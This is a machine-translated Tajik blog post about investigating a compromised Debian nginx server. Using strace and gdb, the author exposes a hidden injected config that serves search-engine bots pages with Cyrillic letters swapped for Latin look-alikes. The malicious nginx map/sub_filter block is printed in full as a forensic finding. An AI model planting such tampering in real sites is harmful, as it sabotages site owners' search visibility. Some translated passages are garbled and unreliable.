Вақте ки "а" ба "а" баробар нест. Дар паи як хак

Бо касе, ки ман мешиносам, як ҳикояи ногуворе рӯй дод. Аммо он чи тавре ки барои Михаил ногувор буд, барои ман хамон кадар шавковар буд.

Бояд бигӯям, ки дӯсти ман хеле хуб аст UNIX- корбар: метавонад системаро худаш насб кунад MySQL, PHP ва танзимоти оддитаринро созед nginx.
Ва ӯ даҳҳо вебсайт дорад, ки ба асбобҳои сохтмон бахшида шудааст.

Яке аз чунин вебсайтҳое, ки ба занҷирҳо бахшида шудаанд, дар рейтинги муҳаррикҳои ҷустуҷӯ қарор доранд. Ин сомона як сайти баррасии ғайритиҷоратӣ аст, аммо касе аз он сер шуда, ба он ҳамла кардааст. DDoS, баъд қувваи бераҳмона, баъд шарҳҳои фаҳш менависанд ва сӯиистифода ба хостинг ва РКН мефиристанд.
Ногаҳон ҳама чиз ором шуд ва ин оромӣ кори хубе набуд ва сайт тадриҷан сатрҳои болоии натиҷаҳои ҷустуҷӯро тарк кард.

Вақте ки "а" "а" нест. Дар паи як хак

Ин гап буд, баъд худи саргузашти админ.

Вақти хоб наздик мешуд, ки телефонам занг зад: "Саня, метавонӣ сервери маро тафтиш кардӣ? Ман фикр мекунам, ки маро шикастаанд. Ман инро исбот карда наметавонам, аммо ҳоло се ҳафта аст, ки ман инро эҳсос мекунам. Шояд вақти он расидааст, ки паранойямро табобат кунам?"

Баъд аз он як мубоҳисаи нимсоата буд, ки метавон ба таври зерин ҷамъбаст кард:

  • замина барои хакерӣ хеле ҳосилхез буд;
  • хакер метавонад ҳуқуқҳои суперкорбарро ба даст орад;
  • ҳамла (агар он рух дода бошад) ҳадаф қарор гирифт ва махсусан дар ин сайт;
  • минтақаҳои мушкилот ислоҳ карда шуданд ва танҳо фаҳмидан лозим аст, ки оё далели воридшавӣ вуҷуд дорад;
  • Хак ба код ва пойгоҳи додаҳои сайт таъсир расонида натавонист.

Вобаста ба нуктаи охирин.

Вақте ки "а" "а" нест. Дар паи як хак

Танҳо IP-и оммавии фронтенд ба ҷаҳон дучор мешавад. Байни ақибмондаҳо ва интерфейсҳо, ба истиснои http(ҳо), корбарон ва паролҳо гуногунанд ва калидҳо иваз карда намешаванд. Дар суроғаҳои хусусӣ, ҳама бандарҳо ба истиснои 80/443 бастаанд. IP-ҳои оммавии пуштибон танҳо ба ду корбар маълум аст, ки Михаил комилан эътимод дорад.

Дар пештара насб карда шудааст Debian 9 ва ҳангоми занг задан, система аз ҷаҳон тавассути девори беруна ҷудо карда мешавад ва қатъ карда мешавад.

"Хуб, ба ман иҷозат деҳ" ман тасмим гирифтам, ки хобро як соат ба таъхир гузорам. — Ман бо чашмони худ мебинам.

Аз ин ҷо:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Дар ҷустуҷӯи як хаки эҳтимолӣ

Ман серверро оғоз мекунам, аввал дар режими наҷотМан дискҳоро насб мекунам ва дар байни онҳо ҳаракат мекунам. автор-журналҳо, таърих, гузоришҳои системавӣ ва ғайра, то ҳадди имкон, ман санаи эҷоди файлро тафтиш мекунам, гарчанде ки ман мефаҳмам, ки як ҳакери муқаррарӣ ҳама чизро "рӯфта" мекард ва Миша ҳангоми ҷустуҷӯи худ аллакай бисёр чизро "поймол кардааст".

Ман дар реҷаи муқаррарӣ сар карда истодаам, аслан намедонам, ки чиро ҷустуҷӯ кунам, бинобар ин ман конфигуратсияҳоро меомӯзам. Манфиати асосии ман аст nginx зеро умуман дар фронт ба гайр аз он чизи дигаре нест.
Конфигуратсияҳо хурданд, ба даҳҳо файлҳо хуб сохторбандӣ шудаанд, ман танҳо онҳоро аз назар мегузаронам гурба'ом дар навбати худ. Ҳама чиз тоза ба назар мерасад, аммо шояд ман чизеро пазмон шудам. дохил кунед, Ман як рӯйхатро пурра мекунам:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Ман нафаҳмидам: "Рӯйхат дар куҷост?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Савол дар бораи листинг бо саволи дуюм илова карда мешавад: "Чаро версияи nginx ин қадар қадимист?"

Илова бар ин, система чунин мешуморад, ки версияи насбшуда навтар аст:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Ман занг мезанам:
— Миш, чаро аз нав васл кардй? nginx?
- Ба худ биё, ман ҳатто намедонам, ки чӣ тавр ин корро кунам!
- Хуб, хоб рав...

Nginx Он бешубҳа аз нав сохта шудааст ва баромади "-T" бо як сабаб пинҳон аст. Дар бораи хаккӣ дигар шубҳае нест, аз ин рӯ мо метавонем онро танҳо қабул кунем ва (азбаски Миша серверро бо сервери нав иваз кард) мушкилотро ҳалшуда мешуморем.

Ва дар ҳақиқат, вақте ки касе ҳуқуқҳоро гирифтааст реша'ah, он гоҳ ин танҳо маъно дорад аз нав насб кардани система, ва чустучуи он чо чй гуна бадкорй карда буд, бефоида буд, вале ин дафъа кунчковй ба хоби худ бурд. Чӣ тавр мо метавонем фаҳмем, ки онҳо аз мо чӣ пинҳон кардан мехостанд?

Биёед кӯшиш кунем, ки пайгирӣ кунем:

$ strace nginx -T

Мо ба пайраҳа менигарем, хатҳои баръало гумшуда ба монанди

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Барои шавқ, биёед бозёфтҳоро муқоиса кунем

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Ман фикр мекунам, ки ин як қисми код аст /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

ба шакл оварда шуд:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

ё

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

барои ҳамин рӯйхат барои "-T" намоиш дода намешавад.

Аммо чӣ гуна мо конфигуратсияи худро дида метавонем?

Агар фикри ман дуруст бошад ва мушкилот танҳо дар тағирёбанда бошад ngx_dump_config биёед кӯшиш кунем, ки онро бо истифода аз насб кунем gdb, шукр, ки калид ҳаст -бо-cc-opt -g мавҷуд аст ва мо умедворем, ки оптимизатсия -О2 Ин ба мо зарар нахоҳад расонд. Аммо, азбаски ман намедонам, ки чӣ тавр ngx_dump_config коркард кардан мумкин буд ҳолати 'T':, мо ин блокро даъват намекунем, аммо онро бо истифода аз насб ҳолати 't':

Чаро ман метавонам '-t' ва инчунин '-T' -ро истифода барам?Коркарди блок агар(ngx_dump_config) дарун ба амал меояд агар(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Албатта, агар код дар ин бахш иваз карда шавад, на дар ҳолати 'T':, пас усули ман кор намекунад.

Санҷиши nginx.confБо таҷриба мушкилотро ҳал карда, муайян карда шуд, ки барои кор кардани нармафзори зараровар конфигуратсияи ҳадди ақал лозим аст nginx навъи:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Барои кӯтоҳ, мо онро дар мақола истифода мебарем.

Биёед ислоҳкунандаро оғоз кунем

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Кадам ба кадам:

  • нуқтаи қатъро дар функсия муқаррар кунед асосӣ ()
  • барномаро оғоз мекунем
  • Мо арзиши тағирёбандаро, ки баромади конфигуратсияро муайян мекунад, тағир медиҳем ngx_dump_config=1
  • давом додан/тамоми барнома

Тавре ки мо мебинем, конфигуратсияи воқеӣ аз конфигуратсияи мо фарқ мекунад. Биёед аз он порчаи паразитӣ ҷудо кунем:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Биёед бубинем, ки дар ин ҷо чӣ рӯй медиҳад.

муайян карда мешаванд Корбар-Агент'ы yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Саҳифаҳои хидматӣ истисно карда мешаванд WordPress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Ва барои онҳое, ки ба ҳарду шартҳои дар боло овардашуда афтодаанд

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

дар матн HTML-саҳифаҳо иваз мешаванд 'Эй ба 'о' и 'А' ба 'а':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Дуруст аст, ягона нозукии он аст 'a' != 'a' мисли 'o' != 'o':

Вақте ки "а" "а" нест. Дар паи як хак

Ҳамин тариқ, ботҳои муҳаррики ҷустуҷӯ партовҳои тағирёфтаеро мегиранд, ки бо ҳарфҳои лотинӣ ба ҷои матни муқаррарии 100% кириллӣ омехта шудаанд. 'а' и 'о'Ман тахмин карда наметавонам, ки ин ба SEO чӣ гуна таъсир мерасонад, аммо гумон аст, ки чунин омехтаи ҳарфҳо ба натиҷаҳои ҷустуҷӯ таъсири мусбӣ расонад.

Чй гуфта метавонам, бачахои хаёлот.

мурожиат

Debugging бо GDB
gdb(1) — Linux саҳифаи корбар
рах(1) — Linux саҳифаи корбар
Nginx - Модули ngx_http_sub_module
Дар бораи арра, занҷир ва арраҳои электрикӣ

Манбаъ: will.com

Хостинги боэътимодро барои сайтҳо бо муҳофизати DDoS, серверҳои VPS VDS харед 🔥 Харидани хостинги боэътимоди вебсайт бо муҳофизати DDoS, серверҳои VPS VDS | ProHoster